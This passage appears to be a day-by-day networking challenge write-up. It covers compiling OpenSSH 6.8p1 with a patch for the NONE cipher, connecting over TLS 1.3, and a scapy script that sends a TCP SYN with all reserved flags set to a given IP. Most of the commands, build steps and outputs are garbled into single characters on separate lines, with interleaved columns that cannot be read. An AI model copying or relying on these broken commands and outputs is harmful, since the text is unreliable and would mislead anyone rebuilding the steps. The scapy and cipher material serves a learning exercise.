.
7
=
7
(
E
H
H
H
H
7
(
E
H
H
H
H
/
h
6
=
c
i
i
}
c
N
_
_
_
_
c
N
_
_
_
_
/
e
0
@
s
f
f
@
-
S
C
C
C
C
@
-
S
C
C
C
C
k
r
0
@
s
t
=
@
>
S
I
I
I
I
@
>
S
I
I
I
I
l
.
5
t
r
(
(
n
L
P
P
P
P
n
L
P
P
P
P
e
c
6
c
r
s
c
c
c
c
u
H
H
H
H
c
u
H
H
H
H
b
a
i
s
e
i
i
m
E
E
E
E
i
m
E
E
E
E
e
b
0
p
e
p
p
=
=
p
b
R
R
R
R
p
b
R
R
R
R
r
f
h
p
(
h
=
=
h
e
_
_
_
_
h
e
_
_
_
_
.
c
e
(
&
e
f
r
e
r
N
S
D
B
e
r
N
S
D
B
i
i
1
r
&
c
r
N
N
r
e
r
)
O
S
E
L
r
)
O
S
E
L
o
p
0
s
c
p
_
U
U
e
t
_
N
H
S
O
_
N
H
S
O
/
h
0
_
p
,
b
L
L
e
u
g
{
E
2
:
W
s
{
E
2
:
W
j
e
6
v
,
y
L
L
(
r
e
:
:
F
e
:
:
F
J
r
4
a
C
_
c
n
t
I
t
I
_
.
4
l
C
I
n
i
_
S
_
S
4
c
i
I
P
a
p
0
k
H
k
H
/
d
P
H
m
h
;
e
:
e
:
(
H
E
e
c
c
e
y
y
c
E
R
(
-
-
r
i
i
o
R
_
p
>
>
_
v
v
n
_
S
)
n
n
l
(
(
s
S
E
;
u
u
i
s
s
t
E
P
m
m
s
t
t
P
)
b
b
t
r
r
c
)
)
e
e
)
u
u
h
)
)
r
r
;
c
c
a
;
t
t
r
{
!
!
p
=
=
s
s
*
s
s
n
&
S
S
h
h
a
&
S
S
c
c
m
H
H
i
i
e
*
_
_
p
p
s
p
C
C
h
h
)
I
I
e
e
!
P
P
r
r
=
H
H
_
_
E
E
c
c
R
R
t
t
\
_
_
x
x
0
S
S
'
S
S
*
*
;
H
H
c
c
2
2
c
c
)
,
,
&
{
&
u
c
_
o
c
c
n
-
h
s
>
a
t
n
r
u
u
m
*
_
b
i
c
e
v
h
r
,
a
r
!
u
=
_
*
i
i
S
n
v
S
t
)
H
_
l
C
e
I
n
P
)
H
E
R
_
N
O
N
E
)
{
Therefore, we have to build an OpenSSH version using this patch to support the NULL cipher.
Download, compile and install zlib:
#
1
#
#
#
C
C
B
[
#
g
g
g
g
[
#
r
c
c
c
[
0
h
h
u
.
c
c
c
c
.
m
p
h
p
.
c
%
0
t
c
e
e
i
.
m
c
c
c
c
.
m
m
.
u
a
d
/
c
c
l
.
a
.
a
-
l
o
l
.
r
T
r
c
k
k
d
]
k
-
-
-
-
]
k
f
i
d
i
]
l
o
5
z
o
i
i
i
e
O
O
O
O
e
b
b
t
9
-
l
n
n
n
n
3
3
3
3
/
z
6
z
-
a
3
x
i
f
g
g
g
i
u
.
4
.
L
l
k
f
b
i
-
-
-
-
n
s
a
4
s
O
-
g
f
f
s
D
D
D
D
s
r
z
1
u
o
o
h
_
_
_
_
t
/
/
.
h
1
l
.
r
r
r
a
L
L
L
L
a
l
u
u
1
t
0
i
2
e
r
A
A
A
A
l
o
s
s
.
t
%
0
b
.
g
s
e
R
R
R
R
l
c
r
r
2
p
-
1
c
h
d
G
G
G
G
a
/
/
.
:
R
1
1
c
a
E
E
E
E
l
l
l
1
/
e
5
.
/
.
r
l
F
F
F
F
/
o
o
1
/
c
9
2
.
e
i
I
I
I
I
l
c
c
w
e
3
.
.
d
b
L
L
L
L
i
a
a
/
w
i
k
1
r
E
E
E
E
b
l
l
u
w
v
1
l
a
6
6
6
6
/
/
/
s
.
e
.
i
r
4
4
4
4
l
l
l
r
z
d
t
b
y
_
_
_
_
i
i
i
/
l
a
r
S
S
S
S
b
b
b
l
i
%
0
r
a
l
O
O
O
O
z
/
o
b
.
r
i
U
U
U
U
.
l
c
.
X
g
y
b
R
R
R
R
a
i
a
n
f
z
z
C
C
C
C
b
l
e
e
s
.
E
E
E
E
z
t
r
u
s
=
=
=
=
.
l
/
d
0
p
o
1
1
1
1
a
i
z
p
.
b
l
o
-
-
-
-
i
A
D
r
D
D
D
D
b
v
l
3
t
H
H
H
H
-
e
o
2
.
A
A
A
A
1
r
a
5
.
V
V
V
V
.
a
d
k
.
E
E
E
E
2
g
_
_
_
_
.
e
H
H
H
H
1
U
I
I
I
I
1
S
p
D
D
D
D
.
p
l
D
D
D
D
t
e
o
E
E
E
E
a
e
a
0
N
N
N
N
r
d
d
.
-
g
0
I
-
-
-
z
:
.
c
c
c
T
T
0
i
o
0
-
m
t
:
c
e
a
0
l
1
a
c
d
d
r
e
l
c
f
0
e
e
3
l
T
S
:
x
r
2
a
i
p
0
a
3
.
t
m
e
0
m
2
o
e
e
n
:
p
.
.
t
0
l
o
c
o
1
e
r
.
a
c
d
o
d
3
e
-
l
2
f
T
L
:
t
e
.
l
i
e
-
e
r
c
a
m
f
-
s
3
t
e
t
:
t
2
e
-
/
.
.
-
e
c
c
C
S
x
u
p
a
r
e
3
m
r
e
2
p
e
d
5
l
n
k
e
t
.
c
Download, compile and install openssl:
#
1
#
#
#
O
C
C
[
#
m
m
/
[
#
m
m
m
[
0
p
o
o
.
a
a
u
.
a
a
a
.
c
%
0
t
c
e
n
n
.
m
k
k
s
.
m
k
k
k
.
u
a
d
/
r
f
f
]
a
i
e
r
.
a
i
e
i
.
r
T
5
r
c
a
i
i
n
n
n
k
n
[
]
k
n
[
n
]
l
o
2
o
o
t
g
g
o
o
o
e
g
1
b
e
g
1
g
t
2
-
p
n
i
u
u
-
-
-
]
i
]
-
a
0
x
e
f
n
r
r
e
g
j
a
:
n
i
a
:
a
L
l
k
f
n
i
g
i
i
c
m
p
l
/
n
l
l
O
s
g
n
n
_
p
a
l
E
p
s
l
E
l
o
s
s
g
g
n
k
n
e
t
n
h
1
p
l
y
i
e
i
t
r
a
i
t
i
t
0
e
-
s
f
f
s
n
e
l
l
n
e
n
t
%
0
n
1
t
o
o
t
r
l
r
p
s
.
e
r
r
p
c
i
c
i
c
s
R
5
s
0
m
_
r
n
r
n
r
:
e
2
l
.
:
l
l
6
y
g
/
y
g
y
/
c
2
-
2
i
i
4
p
u
p
p
/
e
0
1
q
x
n
n
_
t
d
t
t
d
t
w
i
k
.
/
8
u
u
g
o
i
i
o
i
o
w
v
0
6
x
x
c
[
[
.
r
l
.
r
/
w
e
.
_
-
-
c
d
e
.
e
/
.
e
o
.
d
2
6
x
x
_
e
x
.
c
m
.
c
b
o
q
4
8
8
1
f
p
t
k
t
j
p
%
0
.
-
6
6
2
a
e
o
b
o
e
e
t
w
_
_
8
u
r
r
u
r
c
n
X
a
h
6
6
l
i
y
i
y
t
s
f
r
a
4
4
[
t
m
l
s
s
e
.
t
d
]
e
d
.
l
r
g
e
e
n
/
i
.
.
d
0
z
v
f
t
r
n
r
.
o
e
a
O
a
o
f
o
r
r
u
P
l
o
.
o
g
A
D
4
-
l
E
]
t
p
t
/
v
l
0
l
t
N
/
l
/
s
e
o
1
i
]
S
O
o
o
o
r
a
8
n
S
P
p
"
p
u
a
d
k
u
L
E
e
g
e
r
g
x
O
_
N
n
c
n
c
e
2
P
N
S
s
c
s
e
U
E
O
S
s
s
/
S
p
N
_
L
l
-
l
o
p
l
S
G
_
-
I
-
p
e
o
S
M
N
1
.
1
e
e
a
0
L
P
O
.
.
n
d
d
_
_
0
-
0
s
N
(
J
.
I
.
s
0
O
s
P
2
.
2
l
:
_
k
A
q
.
q
-
T
T
0
E
i
K
/
1
i
o
0
C
p
E
c
-
c
.
m
t
:
_
r
I
r
0
e
a
0
N
d
(
y
.
y
.
l
1
I
i
s
p
.
p
2
S
r
k
t
t
q
T
)
i
i
o
.
0
P
p
n
'
t
T
S
:
_
c
a
i
p
0
6
d
l
r
m
e
0
4
i
u
.
e
n
:
_
r
d
g
t
0
G
)
e
z
1
C
C
_
-
-
1
D
T
L
:
2
O
i
e
-
8
P
m
f
-
E
e
t
:
(
N
-
s
S
-
k
S
C
S
i
L
u
p
4
p
_
r
e
0
T
r
e
1
d
H
e
d
8
i
R
n
k
r
E
t
)
A
D
S
-
D
_
R
E
E
N
T
R
A
N
T
-
D
D
S
O
_
D
L
F
C
N
-
D
H
A
V
E
_
D
L
F
C
N
_
H
-
W
a
,
-
-
n
o
e
x
e
c
s
t
a
c
k
-
m
6
4
-
D
L
_
E
N
D
I
A
N
-
O
3
-
W
a
l
l
-
D
O
P
E
N
S
S
L
_
I
A
3
2
_
S
S
E
2
-
D
O
P
E
N
S
S
L
_
B
N
_
A
S
M
_
M
O
N
T
-
D
O
P
E
N
S
S
L
_
B
N
_
A
S
M
_
M
O
N
T
5
-
D
O
P
E
N
S
S
L
_
B
N
_
A
S
M
_
G
F
2
m
-
D
R
C
4
_
A
S
M
-
D
S
H
A
1
_
A
S
M
-
D
S
H
A
2
5
6
_
A
S
M
-
D
S
H
A
5
1
2
_
A
S
M
-
D
M
D
5
_
A
S
M
-
D
A
E
S
_
A
S
M
-
D
V
P
A
E
S
_
A
S
M
-
D
B
S
A
E
S
_
A
S
M
-
D
W
H
I
R
L
P
O
O
L
_
A
S
M
-
D
G
H
A
S
H
_
A
S
M
-
D
E
C
P
_
N
I
S
T
Z
2
5
6
_
A
S
M
"
"
l
i
n
u
x
-
x
8
6
_
6
4
"
>
b
u
i
l
d
i
n
f
.
h
Download OpenSSH version 6.8p1:
#
1
#
#
0
c
%
0
t
c
u
a
d
r
T
1
r
l
o
4
o
t
4
-
p
-
a
1
x
e
L
l
k
f
n
O
s
o
s
h
1
p
h
t
0
e
-
t
%
0
n
6
p
s
.
s
R
1
s
8
:
e
4
h
p
/
c
4
-
1
/
e
1
7
c
i
k
.
d
v
9
n
e
p
.
d
1
o
.
p
%
0
t
e
a
n
X
r
b
f
.
s
e
g
d
r
z
.
d
0
o
r
g
A
D
1
/
v
l
7
p
e
o
7
u
r
a
7
b
a
d
k
/
g
O
e
p
U
e
S
p
n
p
l
B
e
o
S
e
a
0
D
d
d
/
O
-
p
:
e
T
T
-
n
i
o
-
S
m
t
:
S
e
a
-
H
l
-
/
p
o
-
r
T
S
:
t
i
p
-
a
m
e
-
b
e
n
:
l
t
-
e
-
/
o
p
-
e
T
L
:
n
i
e
-
s
m
f
-
s
e
t
:
h
-
-
-
6
C
S
.
u
p
1
8
r
e
7
p
r
e
7
1
e
d
5
.
n
k
t
t
a
r
.
g
z
Download and apply the provided patch for supporting the NONE cipher:
#
1
#
(
p
p
H
0
S
a
a
u
c
%
0
p
t
t
t
n
u
a
r
c
c
k
r
T
t
i
h
h
l
o
c
p
i
#
t
9
h
p
n
u
3
a
3
i
g
n
l
0
<
n
e
s
g
f
x
u
n
n
i
p
c
o
o
t
l
e
c
n
n
r
e
c
e
e
%
0
e
a
t
e
-
-
i
c
e
d
c
R
c
l
i
d
e
i
e
i
i
p
l
d
p
c
9
p
n
h
y
h
e
3
h
g
e
a
e
i
0
e
r
e
t
r
v
r
C
.
n
.
e
.
R
c
d
5
p
d
p
s
s
9
a
a
4
t
%
0
t
f
i
c
c
r
n
w
h
X
h
o
i
f
m
m
t
h
e
i
h
t
r
p
d
t
d
0
a
d
f
p
t
l
u
s
c
e
z
:
A
D
h
z
/
l
6
;
o
/
e
o
5
f
1
k
r
a
9
u
.
l
a
d
5
s
l
e
g
e
i
b
e
n
e
U
e
r
S
p
-
.
p
l
b
i
e
o
i
o
e
a
0
n
/
d
d
a
j
r
J
-
y
_
:
4
T
T
-
t
/
i
o
-
o
m
t
:
e
a
-
d
l
-
i
s
a
-
b
T
S
:
l
i
p
-
e
m
e
-
.
e
n
:
)
t
-
-
-
T
L
:
i
e
-
m
f
-
e
t
:
-
-
C
S
u
p
r
e
6
r
e
5
e
d
9
n
5
t
Compile OpenSSH:
#
c
c
c
[
#
c
[
#
O
h
h
h
.
u
.
p
e
e
e
.
m
n
s
.
e
/
c
c
c
.
a
f
r
.
/
n
c
k
k
k
]
k
f
]
s
S
o
i
i
i
e
i
b
s
S
n
n
n
n
l
i
h
H
f
g
g
g
e
n
_
i
=
/
-
6
g
f
f
w
`
s
V
.
u
o
o
h
e
e
8
r
r
r
e
c
d
p
e
t
h
1
g
C
h
o
-
,
c
e
e
c
c
r
s
O
.
o
s
'
p
.
m
t
h
s
e
.
p
h
d
|
n
i
e
_
/
S
g
l
c
e
S
c
e
C
o
t
L
c
r
n
c
c
f
/
1
d
o
i
s
.
e
m
g
s
0
f
p
.
h
.
a
i
o
/
2
u
l
u
s
q
l
e
t
s
t
r
h
|
_
2
o
w
c
0
u
o
s
o
t
r
e
n
N
p
k
d
f
o
u
s
i
v
t
.
'
g
.
s
|
2
f
.
/
0
i
.
u
1
l
y
o
s
8
e
e
u
r
s
t
/
n
$
l
a
/
m
c
e
'
a
.
`
l
.
;
/
.
e
\
t
a
c
.
/
o
s
u
s
t
h
_
c
o
n
f
i
g
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
_
k
n
o
w
n
_
h
o
s
t
s
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
_
k
n
o
w
n
_
h
o
s
t
s
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
d
_
c
o
n
f
i
g
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
d
_
c
o
n
f
i
g
|
g
'
-
e
'
s
|
/
u
s
r
/
l
i
b
e
x
e
c
|
/
u
s
r
/
l
o
c
a
l
/
l
i
b
e
x
e
c
|
g
'
-
e
'
s
|
/
e
t
c
/
s
h
o
s
t
s
.
e
q
u
i
v
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
h
o
s
t
s
.
e
q
u
i
v
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
_
h
o
s
t
_
k
e
y
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
_
h
o
s
t
_
k
e
y
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
_
h
o
s
t
_
e
c
d
s
a
_
k
e
y
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
_
h
o
s
t
_
e
c
d
s
a
_
k
e
y
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
_
h
o
s
t
_
d
s
a
_
k
e
y
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
_
h
o
s
t
_
d
s
a
_
k
e
y
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
_
h
o
s
t
_
r
s
a
_
k
e
y
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
_
h
o
s
t
_
r
s
a
_
k
e
y
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
_
h
o
s
t
_
e
d
2
5
5
1
9
_
k
e
y
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
_
h
o
s
t
_
e
d
2
5
5
1
9
_
k
e
y
|
g
'
-
e
'
s
|
/
v
a
r
/
r
u
n
/
s
s
h
d
.
p
i
d
|
/
v
a
r
/
r
u
n
/
s
s
h
d
.
p
i
d
|
g
'
-
e
'
s
|
/
e
t
c
/
m
o
d
u
l
i
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
m
o
d
u
l
i
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
m
o
d
u
l
i
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
m
o
d
u
l
i
|
g
'
-
e
'
s
|
/
e
t
c
/
s
s
h
/
s
s
h
r
c
|
/
u
s
r
/
l
o
c
a
l
/
e
t
c
/
s
s
h
r
c
|
g
'
-
e
'
s
|
/
u
s
r
/
X
1
1
R
6
/
b
i
n
/
x
a
u
t
h
|
/
u
s
r
/
b
i
n
/
x
a
u
t
h
|
g
'
-
e
'
s
|
/
v
a
r
/
e
m
p
t
y
|
/
v
a
r
/
e
m
p
t
y
|
g
'
-
e
'
s
|
/
u
s
r
/
b
i
n
:
/
b
i
n
:
/
u
s
r
/
s
b
i
n
:
/
s
b
i
n
|
/
u
s
r
/
b
i
n
:
/
b
i
n
:
/
u
s
r
/
s
b
i
n
:
/
s
b
i
n
:
/
u
s
r
/
l
o
c
a
l
/
b
i
n
|
g
'
/
$
{
c
o
n
f
f
i
l
e
}
>
s
s
h
d
_
c
o
n
f
i
g
.
o
u
t
It’s now possible to connect using the none cipher:
#
T
E
A
W
s
P
H
H
V
C
h
C
r
a
a
T
a
e
K
o
e
D
e
r
n
Y
v
r
n
/
S
n
t
e
e
n
s
a
A
y
i
a
a
e
s
u
o
n
@
l
a
i
c
h
t
k
u
g
x
l
s
t
h
e
:
m
o
n
F
i
-
e
y
s
a
c
i
a
J
`
o
c
n
u
P
s
a
c
F
-
n
t
f
r
e
.
t
e
l
n
i
i
e
r
r
i
i
`
H
H
t
o
c
n
m
i
o
X
t
J
`
o
n
i
g
y
a
p
n
M
t
J
/
`
e
t
e
o
n
'
A
l
F
\
_
x
y
r
u
e
s
r
S
e
L
`
`
m
-
p
n
e
J
`
.
`
J
J
J
L
J
`
a
l
o
r
w
t
p
q
2
p
.
`
-
`
/
F
L
L
.
s
f
i
a
l
a
u
0
r
(
:
:
\
>
`
-
_
`
L
L
_
.
s
n
n
y
s
e
1
e
@
:
:
`
/
`
-
`
L
_
r
a
h
t
t
s
s
8
s
)
'
:
:
-
-
`
.
_
i
n
o
a
w
t
!
e
`
_
:
-
(
_
-
.
_
J
J
.
p
t
s
i
t
d
o
n
@
-
"
"
J
F
/
(
_
/
L
'
a
t
s
o
d
r
f
t
.
|
/
:
)
J
`
`
`
J
c
e
d
a
:
`
`
`
:
:
(
(
\
`
.
.
F
l
-
'
S
c
d
:
i
!
(
`
`
`
J
F
`
o
p
[
H
o
l
b
)
`
\
`
.
.
`
s
x
A
n
'
e
0
.
`
.
"
`
`
.
/
e
1
m
2
t
[
d
P
L
J
`
.
`
'
`
-
`
d
1
a
5
i
x
m
-
.
`
`
J
.
s
6
n
m
o
I
`
L
.
-
J
F
`
x
.
:
u
a
n
A
.
\
L
J
F
.
`
m
r
O
e
s
F
(
`
J
F
\
`
-
a
i
C
.
c
/
_
.
`
J
F
L
-
-
s
p
N
c
r
h
c
)
`
F
-
.
]
b
o
i
a
a
,
r
:
o
n
p
n
S
`
`
i
1
Y
n
]
n
i
.
.
p
1
I
e
:
e
u
`
x
c
1
l
n
`
.
(
O
t
1
3
.
_
[
9
i
,
0
U
_
_
2
i
n
[
A
_
_
[
0
Z
g
2
K
`
_
J
J
`
`
0
5
0
B
-
_
L
-
-
1
p
(
0
s
-
_
J
`
-
-
:
B
y
1
9
-
_
L
J
F
F
'
4
8
e
:
D
_
J
F
F
1
P
s
4
q
_
-
/
J
F
|
d
P
/
1
4
(
J
F
F
=
=
=
`
[
0
m
n
d
g
.
`
J
F
.
`
`
:
j
o
0
K
|
-
-
`
[
`
-
7
b
)
:
T
_
-
"
-
_
-
0
R
?
7
c
`
/
-
"
-
_
`
-
1
T
0
g
.
|
-
"
-
[
-
-
`
`
:
m
y
1
Q
-
"
-
_
`
-
1
e
e
:
e
-
"
-
_
'
1
6
s
1
F
-
-
-
_
`
0
g
1
r
-
-
-
_
"
0
E
0
P
-
_
"
:
n
0
3
`
-
_
:
+
:
O
-
-
2
+
:
8
"
)
/
_
`
'
0
a
2
l
"
]
_
]
7
y
0
D
"
`
`
`
c
u
7
j
"
-
_
F
_
]
N
c
Z
-
`
`
/
:
W
]
w
-
-
`
1
Q
:
8
`
.
`
[
1
V
1
1
`
J
J
J
F
_
)
Z
1
v
.
_
_
`
F
_
_
'
l
'
q
`
_
`
`
-
J
J
J
`
g
a
.
)
V
J
J
-
F
-
`
-
c
W
(
f
`
L
-
a
E
E
T
L
J
.
J
n
.
C
k
`
J
'
D
m
-
J
t
S
N
A
I
b
)
e
e
2
t
7
e
o
c
s
Q
t
t
W
a
h
N
b
e
u
l
r
i
l
J
s
i
7
h
s
e
t
d
.
o
f
k
n
o
w
n
h
o
s
t
s
.
12/TCP#
Day 12:
Using TLS 1.3 to connect to the server:
$
>
>
>
>
<
<
<
<
<
<
<
W
B
o
y
c
T
C
A
A
s
C
T
T
T
T
T
T
T
T
T
T
T
T
T
T
T
S
A
S
T
G
H
U
A
T
T
T
T
T
H
S
D
C
C
C
C
w
C
u
C
o
L
L
u
A
L
L
L
L
L
L
L
L
L
L
L
L
L
L
L
S
L
e
s
s
e
s
i
S
L
E
o
s
c
L
L
L
L
L
T
e
a
o
o
o
o
,
s
o
r
T
P
n
P
P
c
C
p
S
S
S
S
S
S
S
S
S
S
S
S
S
S
S
L
P
r
u
t
x
u
s
S
S
T
s
e
c
S
S
S
S
S
T
r
t
n
n
n
n
e
n
l
r
_
n
N
N
c
A
a
v
v
v
v
v
v
v
v
v
v
v
v
v
v
v
N
v
b
a
p
b
s
L
v
t
r
e
v
v
v
v
v
P
e
t
t
n
t
s
c
n
y
N
e
,
,
e
f
t
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
c
,
e
j
r
i
j
u
1
:
-
p
1
1
1
1
1
e
:
e
e
e
e
u
u
e
i
O
c
s
i
h
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
o
r
e
t
r
e
e
c
.
A
t
.
.
.
.
.
1
r
n
n
c
n
c
r
c
n
D
t
o
o
s
l
:
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
n
s
c
e
c
r
e
3
H
x
g
:
3
3
3
3
3
.
:
F
t
t
t
t
h
e
,
t
g
E
e
f
f
f
e
n
e
c
t
d
t
:
r
T
m
e
1
r
-
-
i
-
l
_
i
L
d
f
f
u
:
n
(
(
(
(
(
(
(
(
(
(
(
(
(
(
(
e
r
e
:
a
d
A
t
(
T
a
n
(
(
(
(
(
n
i
T
L
o
T
s
y
(
o
-
2
A
e
e
l
O
I
O
O
I
I
I
I
I
I
I
I
I
O
O
c
v
r
t
a
l
C
i
O
P
s
t
I
I
I
I
I
2
g
,
y
e
n
y
e
?
_
n
t
0
Y
t
r
r
l
n
U
N
U
U
N
N
N
N
N
N
N
N
N
U
U
t
e
t
C
e
t
t
=
f
U
/
.
:
N
N
N
N
N
0
i
p
n
:
p
c
c
)
l
0
o
i
i
y
e
e
T
)
T
T
)
)
)
)
)
)
)
)
)
T
T
i
r
i
N
:
e
N
U
i
T
1
r
)
)
)
)
)
0
n
1
e
g
e
u
o
.
(
#
s
1
s
n
n
t
)
,
)
)
,
,
,
,
,
,
,
,
,
)
)
o
f
=
:
a
S
c
)
.
i
c
,
,
,
,
,
x
4
:
t
k
:
r
n
@
0
v
:
e
x
g
g
s
c
,
,
,
,
,
n
a
i
x
N
m
;
a
,
1
p
u
O
h
e
e
n
,
_
1
4
t
m
e
/
T
T
T
T
T
T
T
T
T
T
c
c
m
o
F
e
t
:
r
T
T
T
T
T
K
D
t
:
e
t
,
e
_
\
|
_
t
.
1
a
h
h
t
s
T
L
T
T
L
L
L
L
L
L
L
L
L
T
T
u
c
a
a
v
e
:
O
e
T
1
l
L
L
L
L
L
e
e
p
e
c
`
;
_
o
3
d
s
2
t
s
L
S
L
L
S
S
S
S
S
S
S
S
S
L
L
s
e
t
s
b
=
L
2
/
S
S
S
S
S
c
x
6
-
x
v
t
_
0
.
t
c
l
S
S
S
S
S
i
p
e
.
2
h
L
v
S
7
t
9
a
t
e
i
(
'
h
h
:
r
p
e
/
h
h
h
h
h
h
h
h
h
h
n
t
:
r
9
2
o
e
e
.
h
h
h
h
a
2
/
8
l
/
r
n
e
=
o
t
7
i
/
r
c
h
a
c
h
a
a
a
a
a
a
a
a
a
h
h
g
e
i
7
s
t
r
a
6
a
a
a
a
p
0
p
i
p
y
g
=
s
t
0
p
1
t
e
a
n
h
a
n
n
n
n
n
n
n
n
n
a
a
d
p
2
t
'
i
p
2
n
n
n
n
p
1
l
v
l
7
'
t
p
1
.
i
r
n
d
a
n
d
d
d
d
d
d
d
d
d
n
n
T
0
2
s
f
p
.
d
d
d
d
8
a
e
a
T
t
_
e
/
s
:
(
1
f
t
d
s
n
d
s
s
s
s
s
s
s
s
s
d
d
L
t
:
0
"
y
0
s
s
s
s
d
i
i
L
o
,
)
x
:
1
2
i
s
s
h
g
s
h
h
h
h
h
h
h
h
h
s
s
S
o
0
:
x
E
d
h
h
h
h
a
2
n
n
S
@
m
/
1
0
c
/
h
a
e
h
a
a
a
a
a
a
a
a
a
h
h
v
2
0
m
n
o
a
a
a
a
a
t
2
v
t
`
;
a
/
0
0
a
c
a
k
a
k
k
k
k
k
k
k
k
k
a
a
1
u
:
2
a
c
k
t
k
k
k
k
a
:
1
h
_
/
|
s
x
0
1
t
a
k
e
c
k
e
e
e
e
e
e
e
e
e
k
k
.
s
5
:
s
r
.
a
e
e
e
e
,
5
.
i
,
_
.
m
:
:
e
-
e
,
i
e
,
,
,
,
,
,
,
,
,
e
e
3
e
2
5
.
y
,
,
,
,
,
5
3
s
@
r
a
:
4
c
,
p
,
,
,
2
r
p
[
:
!
`
)
i
s
2
1
v
e
S
h
S
[
E
[
C
[
C
[
F
/
h
2
i
t
[
[
N
[
N
n
2
s
-
p
.
0
d
e
r
C
e
e
C
e
n
n
n
e
n
E
n
i
[
F
t
0
2
p
;
n
n
e
n
e
o
6
Y
e
-
r
7
0
r
t
l
r
r
l
r
o
c
o
r
o
R
o
n
n
i
T
t
1
0
"
o
o
w
o
w
o
r
\
-
l
i
c
:
i
i
i
v
,
i
v
r
t
T
i
o
n
L
p
8
1
C
s
s
c
G
u
v
8
e
p
.
7
f
f
e
e
e
e
c
y
c
i
c
c
s
i
S
/
9
m
N
c
c
e
c
e
o
M
r
i
/
f
:
.
0
y
i
n
r
C
n
r
o
p
o
f
o
v
o
h
c
s
_
1
G
a
=
o
o
s
o
s
n
T
c
_
t
1
.
1
c
t
h
t
n
t
n
i
n
e
n
e
o
h
A
.
M
G
t
L
n
n
s
n
s
t
a
e
2
:
l
a
h
a
h
t
e
t
c
t
r
t
d
n
e
E
1
T
M
c
e
t
t
i
t
i
e
m
i
1
o
t
h
e
n
h
e
e
d
e
a
e
i
e
t
d
S
T
h
t
e
e
o
e
o
n
a
y
n
1
c
e
e
l
g
e
l
n
n
t
n
f
n
(
e
_
e
'
n
n
n
n
n
t
z
o
t
0
a
s
l
l
e
l
l
t
E
t
e
t
y
t
2
n
(
2
d
s
t
t
t
]
i
u
a
0
t
.
l
o
l
o
]
x
]
]
]
0
t
2
5
]
]
T
]
T
n
c
:
i
c
o
c
o
t
(
(
)
]
0
6
c
E
i
i
(
g
s
t
:
o
r
(
i
(
(
e
(
1
(
1
(
:
)
_
e
n
(
(
c
(
c
0
a
2
n
t
(
2
p
(
2
0
n
0
1
0
5
0
(
:
G
r
c
0
0
k
0
k
)
c
v
0
s
1
)
h
1
)
)
s
)
)
)
)
)
0
C
t
r
)
)
e
)
e
:
i
e
7
:
)
:
e
)
:
:
i
:
:
:
:
:
)
M
'
y
:
:
t
:
t
p
d
c
:
r
:
o
:
_
s
p
h
)
n
S
t
(
(
e
a
s
s
H
"
4
4
r
p
p
A
x
A
)
)
C
o
e
(
3
m
u
:
:
s
h
r
c
8
8
a
t
u
r
t
)
4
s
h
i
i
(
:
.
o
t
s
1
1
r
r
e
t
2
)
i
i
:
m
:
p
t
a
(
"
y
T
s
#
L
0
X
S
e
)
3
_
l
A
v
E
e
S
!
_
2
5
6
_
G
C
M
_
S
H
A
3
8
4
TLS 1.3 in Wireshark:
13/TCP#
Day 13:
It’s not possible to connect to the port:
#
N
#
S
N
H
O
P
1
N
c
t
m
o
t
O
3
m
x
a
n
a
a
s
h
R
/
a
m
t
m
r
p
t
e
T
t
p
a
:
a
t
r
c
s
p
i
s
i
p
d
.
C
n
c
s
a
o
r
o
-
g
a
d
S
c
n
i
n
n
n
u
d
T
l
e
p
n
N
p
r
A
o
:
e
-
m
r
e
T
s
1
c
P
a
e
(
s
E
e
1
3
t
n
p
p
0
s
d
i
o
.
e
I
o
-
7
r
0
s
S
d
P
n
p
.
t
2
E
a
7
1
f
R
y
a
r
1
0
f
s
o
V
t
d
e
3
o
r
I
i
d
f
(
r
l
C
m
r
u
x
a
x
E
e
e
s
m
h
x
t
m
s
e
a
t
m
e
a
s
d
s
t
a
n
s
.
.
p
s
c
.
(
r
s
.
y
r
1
i
:
r
)
i
p
/
i
.
p
h
/
p
o
n
(
s
m
(
n
t
a
5
o
p
1
t
u
.
.
p
o
7
s
)
r
5
c
g
.
a
s
6
n
c
)
8
n
a
.
e
n
a
2
d
n
t
2
)
e
7
:
d
2
)
0
2
i
1
0
n
8
0
-
1
0
1
:
.
2
4
3
-
1
8
2
d
1
0
s
:
e
1
7
c
4
0
o
:
1
n
2
:
d
0
1
s
1
C
0
E
0
T
:
:
2
0
7
c
The following example scapy source code was provided:
f
s
r
y
o
n
m
=
s
c
I
a
P
p
(
y
d
.
s
a
t
l
=
l
'
'
i
)
m
p
r
T
t
C
P
T
(
C
s
P
p
,
o
r
I
t
P
=
3
1
3
3
7
,
d
p
o
r
t
=
1
3
,
r
e
s
e
r
v
e
d
=
1
5
,
f
l
a
g
s
=
'
S
'
,
s
e
q
=
1
0
0
0
)
The reserved=15 option sets all reserved flags to 1:
Performing a 3-way TCP handshake with scapy and setting all reserved flags to 1:
#!/usr/bin/env python3
from scapy.all import *
ip= IP(dst= "51.75.68.227" , flags= 4 )
TCP_SYN= TCP(sport= 1500 , reserved= 15 , dport= 13 , flags= "S" , seq= 100 )
TCP_SYNACK= sr1(ip/ TCP_SYN)
my_ack = TCP_SYNACK. seq + 1
TCP_ACK= TCP(sport= 1500 , dport= 13 , flags= "A" , seq= 101 , ack= my_ack)
